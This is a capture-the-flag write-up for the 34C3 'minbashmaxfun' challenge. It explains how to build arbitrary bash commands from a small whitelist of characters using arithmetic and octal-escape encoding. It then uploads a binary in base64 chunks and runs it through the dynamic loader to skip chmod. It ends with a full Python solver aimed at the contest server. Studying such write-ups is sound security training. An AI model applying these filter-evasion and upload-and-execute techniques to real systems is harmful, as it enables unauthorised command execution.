34c3 minbashmaxfun
Written by lava & ntq
The goal of this challenge is to execute the binary /get_flag
by providing a bash
command that will be executed on the remote host. The catch is that each letter of the
command must be one of the following 11 white-listed characters: $
, (
, )
, {
,
}
, }
, \
, '
, #
, <
and ,
.
Playing around with this, we can make a few basic observations:
- We can access the special parameters
$#
(number of positional arguments in decimal) and$$
(pid of the shell) - We can get command substitution
$(cmd)
- We can get arithmetic expansion
$((expression))
- The
<
could be used for input redirection, but there is no obvious way to provide a filename. Same goes for the special$(< file)
to pipe the content of a file to the standard input. - Shell parameter expansion
${parameter}
and some of its various special cases, in particular downcasing${parameter,,pattern}
, leading substring deletion${parameter#word}
, parameter string length${#parameter}
and indirect expansion${!word}
- ANSI-C quoting
$'...'
Playing around with this, we can produce some basic expressions:
- $# is always
0
- $(($#)) is still
0
- $((!$#)) gets us a
1
$((!$#<<!$#))
gives2
- etc.
We can get all powers of two by chaining the <<
rotate-left operator. With some
planning we can also get more numbers by using $$
instead of $#
, since we can
manipulate that to be any number we want. However, it turns out that 0, 1 and 2 are
all the numbers we need, because we can just switch to binary with the syntax
$((base#number))
. With this, we can encode any number, e.g.
108 -> 0b1101100 -> `$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))$(($#))))`
However, generating numbers isn’t really that useful in itself, what we actually want is a way to generate ASCII characters. Luckily, both single-quote and backslash are permitted, so we should be able to use the ANSI-C escaping feature
$'\154\163' -> ls
There’s one problem, the arithmetic expansion is not evaluated inside the single quotes. So we need two evaluation passes, one to generate the ansi-escaped string and one to generate the command from that.
${#} -> 0
${!#} -> bash
Nice: We can actually use ${!#}
to get a bash shell and pass the result of the
first expansion to it to get a second evaluation pass. Since we can’t use spaces
to denote where the command ends and the argument start, we instead pass it as a
here-string using the <<<
syntax:
bash$ ${!#}<<<\$\'$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))$(($#))))\'
bin
boot
[...]
flag
get_flag
[...]
usr
var
So we’re basically done, just execute /get_flag
to get the flag:
bash$ ${!##}<<<\$\'\\$(($((!$#<<!$#))#$((!$#))$((!$#))$((!$#))$(($#))$(($#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))$((!$#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))$(($#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$(($#))$((!$#))$(($#))$(($#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))$((!$#))$(($#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))$(($#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))$((!$#))$((!$#))))\'
Please solve this little captcha:
1459806305 + 1521201784 + 3028801422 + 270568894 + 1250150916
0
7530529321 != 0 :(
…damn. Ok, we need more. For a start, the ability to insert spaces would be nice, as our current string generation method kinda breaks it:
$ $'ls\40-l'
ls -l: command not found
An interesting observation is that command evaluation has higher priority than the here-string, so we can actualy nest commands:
$ bash<<<$(bash<<<ls)
bash: line 1: bin: command not found
bash: line 2: boot: command not found
bash: line 3: cdrom: command not found
[...]
The immediate idea is now bash<<<$(cat<<<'ls -l')
, but the problem is that we’re missing one level
of evaluation: The encoded “cat” is on the left-hand side of the here-string, so it only gets evaluated
once and the shell is looking for a command called $'\143\141\164'
, which doesn’t exist.
With some careful re-arranging, we can get around this. Instead of the naive solution above, we use the form
bash<<<\$\'encode("cat")\<\<\<encode("ls -l")\'
where encode(x) stands for the $((#)))-encoding of the string used above.
With this, we can finally get a look around the system. It’s an Ubuntu 17.10 running in a docker container.
Sadly, most useful commands are removed, but some notable exceptions include base64
, sed
and awk
.
Even sadder, the escaping above is not powerful enough to support i/o redirection, i.e. ‘|’, ‘<’ or ‘>’,
which makes it really annoying to read the output of get_flag
and write back the result.
It would probably be possible to fix the encoding to get arbitrary bash commands, and to write a bash script that solves the captcha. However, at this point the end of the contest was only 90 minutes away, so we decided that we probably wouldn’t finish in time if we attempted to do that, and that we should just try to complete the challenge with the tools we had.
First, we make a simple C program that runs ‘/get_flag’, solves the captcha, and writes the result to a
fixed file /tmp/c
. Luckily, the target environment is just ubuntu, so we can easily compile on an ubuntu host
and upload the finished binary unmodified. This program gets base64-encoded locally.
To write it to the remote system, we use the fact that all our commands in the same session are executed with the same filesystem, so modifications to files persist across commands within a session.
We just copy /etc/debian_version
to a temporary file /tmp/a
and replace the known content with
a -
-marker using sed -i s,stretch/sid,-,
. Now we can iteratively build up the target file by
splitting it into small chunks and abusing sed again to append to the end of the file:
sed -i /tmp/a s,-,CHUNK-,
Applying base64
also turned out to be problematic, as it doesn’t have a parameter to specify the
output file. However, we can use the same technique to create an extractor script /tmp/decoder
:
sed -i s,stretch/sid,base64\t-d\t/tmp/a\t>/tmp/b, /tmp/decoder
One final problem is that we don’t have chmod
on the system, so even after decoding
our prepared binary we cannot simply execute it. However, with one final trick we
are now at the end:
$ /lib64/ld-linux-x86-64.so.2 /tmp/b
$ cat /tmp/c
34C3_you_are_a_bash_MASTER [not the real flag, written down from memory]
Complete solution, with some manual steps omitted:
#!/usr/bin/python3
import socket
import base64
bash = '${!##}'
herestring = "<<<"
zero = '$(($#))'
one = '$((!$#))'
two = '$((!$#<<!$#))'
BUFFER_SIZE=2048
def binary(number):
return "$(({:s}#{:b}))".format(two,number).replace('1',one).replace('0',zero)
def encode_char(char):
return '\\$\\\'\\\\' + binary(int(oct(ord(char))[2:])) + "\\\'"
def encode_string(s):
return "".join([encode_char(c) for c in s])
def encode_command(cmd):
return (bash + herestring + "\\$\\("
+ encode_string("cat") + "\\<\\<\\<"
+ encode_string(cmd) + "\\)")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('35.198.107.77', 1337))
data = open("solver_encoded").read()
SAFE_LINE_LENGTH=500
def execute(cmd):
print(cmd)
resp = ""
encoded_cmd = encode_command(cmd)
print(encoded_cmd)
s.send((encode_command(cmd) + "\n").encode())
while '>' not in resp:
resp = s.recv(BUFFER_SIZE).decode()
print(resp)
execute("cp /etc/debian_version /tmp/a")
execute("cp /etc/debian_version /tmp/decoder")
execute("sed -i s,stretch/sid,-, /tmp/a")
pos = 0
while pos < len(data):
line = data[pos:pos+SAFE_LINE_LENGTH]
pos += SAFE_LINE_LENGTH
cmd = "sed -i /-/{}/ /tmp/a".format(line)
execute(cmd)
execute("sed -i s,stretch/sid,base64\t-d\t/tmp/a\t>/tmp/b, /tmp/decoder")
execute("bash /tmp/decoder")
execute("/lib64/ld-linux-x86-64.so.2 /tmp/b")
execute("cat /tmp/c")
s.close()